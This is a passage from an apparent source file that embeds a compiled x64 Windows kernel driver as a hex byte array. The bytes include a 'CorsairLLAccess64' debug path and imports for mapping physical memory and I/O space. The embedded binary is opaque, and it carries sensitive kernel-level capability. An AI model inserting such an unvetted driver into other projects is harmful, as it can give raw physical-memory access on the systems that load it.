0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, - 0xC7, 0x3D, 0x3F, 0x05, 0xE7, 0x77, 0xC7, 0x4F, 0x92, 0x0B, 0x75, 0x46, - 0x68, 0xC8, 0x64, 0xF6, 0x01, 0x00, 0x00, 0x00, 0x63, 0x3A, 0x5C, 0x70, - 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, 0x73, 0x5C, 0x43, 0x6F, 0x72, 0x73, - 0x61, 0x69, 0x72, 0x4C, 0x4C, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x44, - 0x72, 0x69, 0x76, 0x65, 0x72, 0x5C, 0x57, 0x6F, 0x72, 0x6B, 0x69, 0x6E, - 0x67, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x5C, 0x4F, - 0x75, 0x74, 0x70, 0x75, 0x74, 0x5C, 0x52, 0x65, 0x6C, 0x65, 0x61, 0x73, - 0x65, 0x5C, 0x78, 0x36, 0x34, 0x5C, 0x43, 0x6F, 0x72, 0x73, 0x61, 0x69, - 0x72, 0x4C, 0x4C, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x36, 0x34, 0x2E, - 0x70, 0x64, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0xF0, 0x0D, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, - 0x00, 0x00, 0x00, 0x00, 0xF0, 0x1D, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, - 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x30, 0x30, 0x00, - 0x40, 0x1E, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, - 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x32, 0x31, 0x00, 0x30, 0x1F, 0x00, 0x00, - 0x5A, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x73, 0x00, - 0x00, 0x20, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, - 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x2E, 0x30, 0x30, 0x63, 0x66, 0x67, 0x00, 0x00, - 0x10, 0x21, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x2E, 0x67, 0x66, 0x69, - 0x64, 0x73, 0x00, 0x00, 0x40, 0x21, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00, - 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x88, 0x22, 0x00, 0x00, - 0xE8, 0x01, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, - 0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x70, 0x24, 0x00, 0x00, - 0x7C, 0x01, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0x00, 0x30, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74, - 0x61, 0x00, 0x00, 0x00, 0x40, 0x30, 0x00, 0x00, 0x40, 0x03, 0x00, 0x00, - 0x2E, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, - 0xFC, 0x00, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0x00, 0x50, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x49, 0x4E, 0x49, 0x54, - 0x00, 0x00, 0x00, 0x00, 0x90, 0x50, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, - 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, - 0xB8, 0x50, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, - 0x74, 0x61, 0x24, 0x33, 0x00, 0x00, 0x00, 0x00, 0xD0, 0x50, 0x00, 0x00, - 0x00, 0x01, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, - 0x00, 0x00, 0x00, 0x00, 0xD0, 0x51, 0x00, 0x00, 0x9C, 0x02, 0x00, 0x00, - 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x60, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, - 0x63, 0x24, 0x30, 0x31, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x60, 0x00, 0x00, - 0x78, 0x03, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x32, - 0x00, 0x00, 0x00, 0x00, 0x02, 0x1D, 0x0E, 0x00, 0x07, 0x16, 0x00, 0x06, - 0x1D, 0x74, 0x0D, 0x00, 0x1D, 0x64, 0x0C, 0x00, 0x1D, 0x54, 0x0B, 0x00, - 0x1D, 0x34, 0x0A, 0x00, 0x1D, 0x52, 0x19, 0xF0, 0x17, 0xE0, 0x15, 0xD0, - 0x02, 0x04, 0x03, 0x00, 0x01, 0x16, 0x00, 0x06, 0x04, 0x42, 0x00, 0x00, - 0x02, 0x19, 0x0C, 0x00, 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x0B, 0x00, - 0x19, 0x64, 0x0A, 0x00, 0x19, 0x54, 0x09, 0x00, 0x19, 0x34, 0x08, 0x00, - 0x19, 0x52, 0x15, 0xF0, 0x02, 0x06, 0x04, 0x00, 0x08, 0x16, 0x00, 0x06, - 0x06, 0x52, 0x02, 0x30, 0x1A, 0x33, 0x0D, 0x00, 0x06, 0x16, 0x00, 0x06, - 0x22, 0x74, 0x5D, 0x00, 0x22, 0x64, 0x5C, 0x00, 0x22, 0x34, 0x5B, 0x00, - 0x22, 0x01, 0x56, 0x00, 0x14, 0xE0, 0x12, 0xC0, 0x10, 0x50, 0x00, 0x00, - 0x68, 0x1D, 0x00, 0x00, 0xA0, 0x02, 0x00, 0x00, 0x02, 0x06, 0x04, 0x00, - 0x08, 0x16, 0x1E, 0x06, 0x06, 0x32, 0x02, 0x30, 0x02, 0x0A, 0x06, 0x00, - 0x02, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x08, 0x00, 0x0A, 0x52, 0x06, 0x70, - 0x02, 0x19, 0x0C, 0x00, 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x0B, 0x00, - 0x19, 0x64, 0x0A, 0x00, 0x19, 0x54, 0x09, 0x00, 0x19, 0x34, 0x08, 0x00, - 0x19, 0x52, 0x15, 0xE0, 0x02, 0x19, 0x0C, 0x00, 0x03, 0x06, 0x08, 0x06, - 0x19, 0x74, 0x09, 0x00, 0x19, 0x64, 0x08, 0x00, 0x19, 0x54, 0x07, 0x00, - 0x19, 0x34, 0x06, 0x00, 0x19, 0x32, 0x15, 0xE0, 0x0A, 0x1D, 0x0A, 0x00, - 0x0C, 0x16, 0x00, 0x06, 0x1D, 0x92, 0x19, 0xF0, 0x17, 0xE0, 0x15, 0xD0, - 0x13, 0xC0, 0x11, 0x70, 0x10, 0x60, 0x0F, 0x30, 0x62, 0x1D, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0xD5, 0x14, 0x00, 0x00, 0x1C, 0x15, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x1C, 0x15, 0x00, 0x00, 0x02, 0x14, 0x0A, 0x00, - 0x02, 0x06, 0x09, 0x06, 0x14, 0x64, 0x0A, 0x00, 0x14, 0x54, 0x09, 0x00, - 0x14, 0x34, 0x08, 0x00, 0x14, 0x52, 0x10, 0x70, 0x0A, 0x00, 0x00, 0x00, - 0x62, 0x1D, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xCD, 0x19, 0x00, 0x00, - 0xE5, 0x19, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xE5, 0x19, 0x00, 0x00, - 0x0A, 0x00, 0x00, 0x00, 0x62, 0x1D, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xDB, 0x16, 0x00, 0x00, 0xF2, 0x16, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xF2, 0x16, 0x00, 0x00, 0x02, 0x0A, 0x06, 0x00, 0x02, 0x16, 0x00, 0x06, - 0x0A, 0x34, 0x06, 0x00, 0x0A, 0x32, 0x06, 0x70, 0x01, 0x00, 0x00, 0x00, - 0x02, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0xA2, 0xDF, 0x2D, - 0x99, 0x2B, 0x00, 0x00, 0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xCC, 0x10, 0x00, 0x00, - 0x9C, 0x24, 0x00, 0x00, 0xD0, 0x10, 0x00, 0x00, 0xEF, 0x10, 0x00, 0x00, - 0x90, 0x24, 0x00, 0x00, 0xF0, 0x10, 0x00, 0x00, 0x9B, 0x12, 0x00, 0x00, - 0x70, 0x24, 0x00, 0x00, 0xA0, 0x12, 0x00, 0x00, 0xED, 0x12, 0x00, 0x00, - 0xB8, 0x24, 0x00, 0x00, 0xF0, 0x12, 0x00, 0x00, 0x62, 0x13, 0x00, 0x00, - 0x24, 0x25, 0x00, 0x00, 0x64, 0x13, 0x00, 0x00, 0xE0, 0x13, 0x00, 0x00, - 0xEC, 0x24, 0x00, 0x00, 0xE0, 0x13, 0x00, 0x00, 0x88, 0x16, 0x00, 0x00, - 0x40, 0x25, 0x00, 0x00, 0xC4, 0x16, 0x00, 0x00, 0xF9, 0x16, 0x00, 0x00, - 0xA4, 0x25, 0x00, 0x00, 0xFC, 0x16, 0x00, 0x00, 0x6A, 0x17, 0x00, 0x00, - 0xF8, 0x24, 0x00, 0x00, 0x6C, 0x17, 0x00, 0x00, 0x75, 0x18, 0x00, 0x00, - 0x08, 0x25, 0x00, 0x00, 0xFC, 0x18, 0x00, 0x00, 0xBB, 0x19, 0x00, 0x00, - 0x70, 0x25, 0x00, 0x00, 0xBC, 0x19, 0x00, 0x00, 0xEC, 0x19, 0x00, 0x00, - 0x88, 0x25, 0x00, 0x00, 0xEC, 0x19, 0x00, 0x00, 0x67, 0x1A, 0x00, 0x00, - 0xF8, 0x24, 0x00, 0x00, 0x68, 0x1A, 0x00, 0x00, 0xD1, 0x1C, 0x00, 0x00, - 0xC4, 0x24, 0x00, 0x00, 0xF0, 0x1C, 0x00, 0x00, 0x0E, 0x1D, 0x00, 0x00, - 0xD0, 0x25, 0x00, 0x00, 0x20, 0x1D, 0x00, 0x00, 0x4D, 0x1D, 0x00, 0x00, - 0xD4, 0x25, 0x00, 0x00, 0x68, 0x1D, 0x00, 0x00, 0x85, 0x1D, 0x00, 0x00, - 0x90, 0x24, 0x00, 0x00, 0x88, 0x1D, 0x00, 0x00, 0xE7, 0x1D, 0x00, 0x00, - 0x90, 0x24, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x05, 0x1E, 0x00, 0x00, - 0xE0, 0x25, 0x00, 0x00, 0x40, 0x1E, 0x00, 0x00, 0x29, 0x1F, 0x00, 0x00, - 0xE8, 0x25, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x2B, 0x50, 0x00, 0x00, - 0xC0, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, - 0xDA, 0x48, 0x8B, 0xF9, 0xE8, 0x17, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD3, - 0x48, 0x8B, 0xCF, 0xE8, 0x48, 0xCA, 0xFF, 0xFF, 0x48, 0x8B, 0x5C, 0x24, - 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x8B, 0x05, 0xCD, - 0xDF, 0xFF, 0xFF, 0x45, 0x33, 0xC9, 0x49, 0xB8, 0x32, 0xA2, 0xDF, 0x2D, - 0x99, 0x2B, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x3B, 0xC0, - 0x75, 0x38, 0x0F, 0x31, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x8D, 0x0D, 0xA9, - 0xDF, 0xFF, 0xFF, 0x48, 0x0B, 0xC2, 0x48, 0x33, 0xC1, 0x48, 0x89, 0x05, - 0x9C, 0xDF, 0xFF, 0xFF, 0x66, 0x44, 0x89, 0x0D, 0x9A, 0xDF, 0xFF, 0xFF, - 0x48, 0x8B, 0x05, 0x8D, 0xDF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x0A, - 0x49, 0x8B, 0xC0, 0x48, 0x89, 0x05, 0x7E, 0xDF, 0xFF, 0xFF, 0x48, 0xF7, - 0xD0, 0x48, 0x89, 0x05, 0x7C, 0xDF, 0xFF, 0xFF, 0xC3, 0xCC, 0xCC, 0xCC, - 0xE8, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x26, 0x54, 0x00, 0x00, 0x18, 0x20, 0x00, 0x00, 0xD0, 0x50, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x54, 0x00, 0x00, - 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x4C, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x34, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF2, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0x52, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x2E, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x52, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x6C, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x8A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAA, 0x52, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xCC, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xEA, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xE8, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x3C, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x5E, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x6E, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x96, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xAE, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xD8, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xE4, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x16, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xDC, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xD0, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x0B, 0x77, 0x63, - 0x73, 0x63, 0x70, 0x79, 0x5F, 0x73, 0x00, 0x00, 0x3B, 0x0B, 0x77, 0x63, - 0x73, 0x6E, 0x63, 0x61, 0x74, 0x5F, 0x73, 0x00, 0x3C, 0x0B, 0x77, 0x63, - 0x73, 0x6E, 0x63, 0x6D, 0x70, 0x00, 0xFC, 0x07, 0x52, 0x74, 0x6C, 0x49, - 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, 0x53, 0x74, - 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0xEC, 0x07, 0x52, 0x74, 0x6C, 0x47, - 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x00, 0x1F, 0x04, - 0x4B, 0x65, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, - 0x4D, 0x75, 0x74, 0x65, 0x78, 0x00, 0x7A, 0x04, 0x4B, 0x65, 0x52, 0x65, - 0x6C, 0x65, 0x61, 0x73, 0x65, 0x4D, 0x75, 0x74, 0x65, 0x78, 0x00, 0x00, - 0xC5, 0x04, 0x4B, 0x65, 0x57, 0x61, 0x69, 0x74, 0x46, 0x6F, 0x72, 0x53, - 0x69, 0x6E, 0x67, 0x6C, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, - 0xEC, 0x00, 0x45, 0x78, 0x51, 0x75, 0x65, 0x72, 0x79, 0x44, 0x65, 0x70, - 0x74, 0x68, 0x53, 0x4C, 0x69, 0x73, 0x74, 0x00, 0x53, 0x01, 0x45, 0x78, - 0x70, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6C, 0x6F, 0x63, 0x6B, 0x65, 0x64, - 0x50, 0x6F, 0x70, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x53, 0x4C, 0x69, 0x73, - 0x74, 0x00, 0x54, 0x01, 0x45, 0x78, 0x70, 0x49, 0x6E, 0x74, 0x65, 0x72, - 0x6C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x75, 0x73, 0x68, 0x45, 0x6E, - 0x74, 0x72, 0x79, 0x53, 0x4C, 0x69, 0x73, 0x74, 0x00, 0x00, 0xD1, 0x00, - 0x45, 0x78, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, - 0x4E, 0x50, 0x61, 0x67, 0x65, 0x64, 0x4C, 0x6F, 0x6F, 0x6B, 0x61, 0x73, - 0x69, 0x64, 0x65, 0x4C, 0x69, 0x73, 0x74, 0x00, 0xAC, 0x00, 0x45, 0x78, - 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x4E, 0x50, 0x61, 0x67, 0x65, 0x64, - 0x4C, 0x6F, 0x6F, 0x6B, 0x61, 0x73, 0x69, 0x64, 0x65, 0x4C, 0x69, 0x73, - 0x74, 0x00, 0xF9, 0x04, 0x4D, 0x6D, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x4D, - 0x64, 0x6C, 0x46, 0x6F, 0x72, 0x4E, 0x6F, 0x6E, 0x50, 0x61, 0x67, 0x65, - 0x64, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x28, 0x05, 0x4D, 0x6D, 0x4D, 0x61, - 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, - 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x79, 0x43, 0x61, 0x63, 0x68, 0x65, - 0x00, 0x00, 0x52, 0x05, 0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x4C, - 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, - 0x25, 0x05, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, - 0x63, 0x65, 0x00, 0x00, 0x51, 0x05, 0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, - 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x6B, 0x02, - 0x49, 0x6F, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x64, - 0x6C, 0x00, 0xAA, 0x03, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, - 